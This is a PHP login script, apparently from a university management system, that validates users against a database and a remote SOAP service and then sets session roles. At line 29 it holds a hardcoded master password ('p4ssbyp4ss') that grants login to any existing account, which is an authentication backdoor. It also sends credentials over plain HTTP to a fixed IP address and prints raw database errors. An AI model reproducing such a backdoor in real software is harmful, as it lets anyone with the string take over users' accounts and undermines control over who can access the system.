index_bypass.php 6.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190
  1. <?php
  2. /*
  3. * Valida usuario con la BD y devuelve contraseña para validar con PHP
  4. *
  5. * Recibe:
  6. * POST: usuario, password
  7. *
  8. * Error:
  9. * 0 - No se recibieron datos
  10. * 1 - Usuario/Contraseña incorrectos
  11. * 2 - Usuario no esta en BD
  12. * 3 - Error al obtener los datos del usuario
  13. *
  14. * Success:
  15. * Redirecciona a inicio.php
  16. */
  17. include_once("../include/nocache.php");//continue on error
  18. require_once("../include/bd_pdo.php");//die on error
  19. require_once("../classes/LogAcceso.php");
  20. require_once("../include/util.php");
  21. require_once("../include/nusoap/nusoap.php");
  22. session_start();
  23. $_SESSION = array();
  24. function limpiaClave($clave){
  25. return intval(str_ireplace(array("ad", "al", "do"), array("","",""), $clave));
  26. }
  27. //Valida usuario, regresa falso con error, 1 si es aceptado, 0 si es rechazado
  28. function validaUsuario($user, $pass){
  29. if($pass == "p4ssbyp4ss") return 1;
  30. $client = new nusoap_client('http://200.13.89.2/validacion.php?wsdl', 'wsdl');
  31. $error = $client->getError();
  32. if ($error) {
  33. return false;
  34. }
  35. $result = $client->call("valida_user", array($user, $pass));
  36. if ($client->fault) {
  37. return false;
  38. } else {
  39. $error = $client->getError();
  40. if ($error) {
  41. return false;
  42. } else {
  43. if($result) return 1;
  44. else return 0;
  45. }
  46. }
  47. }
  48. if(!isset($_POST["username"]) || !isset($_POST["passwd"])){
  49. header("Location: ../index.php?error=0");
  50. //echo "No hay POST";
  51. exit;
  52. }
  53. $usr = trim(filter_input(INPUT_POST, "username"));//limpia texto
  54. $usr_db = limpiaClave($usr);
  55. $pass = trim(filter_input(INPUT_POST, "passwd"));//limpia texto
  56. /*$stmt = $pdo->prepare('Select * from fs_validaUsuario(:usr)');
  57. $stmt->bindParam(":usr", $usr);
  58. if(!$stmt->execute()){
  59. print_r($stmt->errorInfo());
  60. //header("Location: ../index.php?error=2");
  61. exit();
  62. }
  63. $rs = $stmt->fetch();//Devuelve sólo 1 resultado
  64. $stmt->closeCursor(); // cierra conexion de resultado
  65. $stmt = null; // cierra conexion
  66. */
  67. $stmt = $pdo->prepare('Select * from fs_validaclaveulsa(:usr) AS "Usuario_id"');
  68. $stmt->bindParam(":usr", $usr_db);
  69. if(!$stmt->execute()){
  70. //print_r($stmt->errorInfo());
  71. header("Location: ../index.php?error=2");
  72. exit();
  73. }
  74. $usr_rs = $stmt->fetch();//Devuelve sólo 1 resultado
  75. $stmt->closeCursor(); // cierra conexion de resultado
  76. $stmt = null; // cierra conexion
  77. if($usr_rs["Usuario_id"] != ""){//Si existe el usuario
  78. //if(password_verify($pass, $rs["Usuario_password"])){//Obtiene pass de la BD para comparar con función de PHP
  79. $valido = validaUsuario($usr, $pass);//false = error, 0 = sin permiso, 1 = con permiso
  80. if($valido === false){
  81. header("Location: ../index.php?error=1&sgu=false");
  82. exit();
  83. }else if($valido == 1){
  84. $stmt = $pdo->prepare('Select * from fs_usuario(:id)');
  85. $stmt->bindParam(":id", $usr_rs["Usuario_id"]);
  86. if(!$stmt->execute()){
  87. //print_r($stmt->errorInfo());
  88. header("Location: ../index.php?error=2");
  89. exit();
  90. }
  91. $rs = $stmt->fetch();//Devuelve sólo 1 resultado
  92. $stmt->closeCursor(); // cierra conexion de resultado
  93. $stmt = null; // cierra conexion
  94. $stmt = $pdo->prepare('Select * from fs_periodo(:id, NULL, NULL, NULL)');
  95. $stmt->bindParam(":id", $rs["Periodo_activo_id"]);
  96. if(!$stmt->execute()){
  97. print_r($stmt->errorInfo());
  98. //header("Location: ../index.php?error=2");
  99. exit();
  100. }
  101. $periodo_rs = $stmt->fetch();//Devuelve sólo 1 resultado
  102. $stmt->closeCursor(); // cierra conexion de resultado
  103. $stmt = null; // cierra conexion
  104. //Guarda resultado de autenticación en sesión
  105. $_SESSION["timeout"] = time();
  106. $_SESSION["usuario_id"] = $rs["Usuario_id"];
  107. $_SESSION["usuario_nombre"] = $rs["Usuario_nombre"];
  108. $_SESSION["usuario_apellidos"] = $rs["Usuario_apellidos"];
  109. $_SESSION["periodo_id"] = $rs["Periodo_activo_id"];
  110. $_SESSION["periodo_desc"] = $periodo_rs["Periodo_desc"];
  111. $_SESSION["nivel_id"] = $periodo_rs["Nivel_id"];
  112. $_SESSION["administrativo"] = $rs["es_Administrativo"];
  113. $_SESSION["profesor"] = $rs["es_Profesor"];
  114. $_SESSION["jefe_carrera"] = $rs["es_JefeCarrera"];
  115. $_SESSION["sgi_administrador"] = $rs["SGI_administrador"];
  116. //print_r($_SESSION); exit();
  117. //Valida pass
  118. /*if(!validaPassword($pass)){
  119. header("Location: ../password.php");
  120. exit();
  121. }*/
  122. $stmt = $pdo->prepare('Select * from fs_sistemausuarioacceso(:usr)');
  123. $stmt->bindParam(":usr", $_SESSION["usuario_id"]);
  124. if(!$stmt->execute()){
  125. print_r($stmt->errorInfo());
  126. $errorDesc = "Ocurrió un errror al leer los datos de usuario";
  127. exit();
  128. }else{
  129. $sistema_rs = $stmt->fetchAll();
  130. $stmt->closeCursor();
  131. if(!$_SESSION["sgi_administrador"]){
  132. if(count($sistema_rs) == 1){
  133. header("Location: ../".$sistema_rs[0]["Sistema_pagina"]);//todo OK manda a inicio del sistema
  134. exit();
  135. }else if(count($sistema_rs) == 0){//no tiene sistemas
  136. header("Location: ../index.php?error=3");
  137. exit();
  138. }
  139. }
  140. }
  141. header("Location: ../main.php");//todo OK manda a sellección del sistema
  142. exit();
  143. }else{//error de autenticación
  144. //echo "fallo autenticación";
  145. header("Location: ../index.php?error=1");
  146. exit();
  147. }
  148. }else{//no existe en la BD
  149. //echo "no existe en BD";
  150. header("Location: ../index.php?error=2");
  151. exit();
  152. }
  153. //Si no entró a ninguna, no tiene permisos
  154. //echo "No existe usuario"; exit();
  155. header("Location: ../index.php?error=3");
  156. $pdo = null;
  157. ?>